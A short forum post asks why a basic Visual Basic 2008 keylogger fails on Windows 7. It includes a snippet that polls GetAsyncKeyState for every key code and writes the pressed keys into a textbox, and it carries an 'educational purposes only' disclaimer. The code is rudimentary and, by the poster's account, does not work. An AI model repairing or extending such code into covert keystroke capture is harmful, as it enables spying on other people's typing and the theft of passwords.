Windows 7 Keylogger Wont Work?

Note: This project is for educational purposes only.I've tried many tutorials on how to create basic keyloggers but none work. I then heard Windows 7 won't work for keyloggers with Visual Basic 2008.

My Code is Below:Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Timer1_Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

I get no errors from the code it just doesn't put the keys I press in the textbox.If having Windows 7 is the problem is there any solutiions?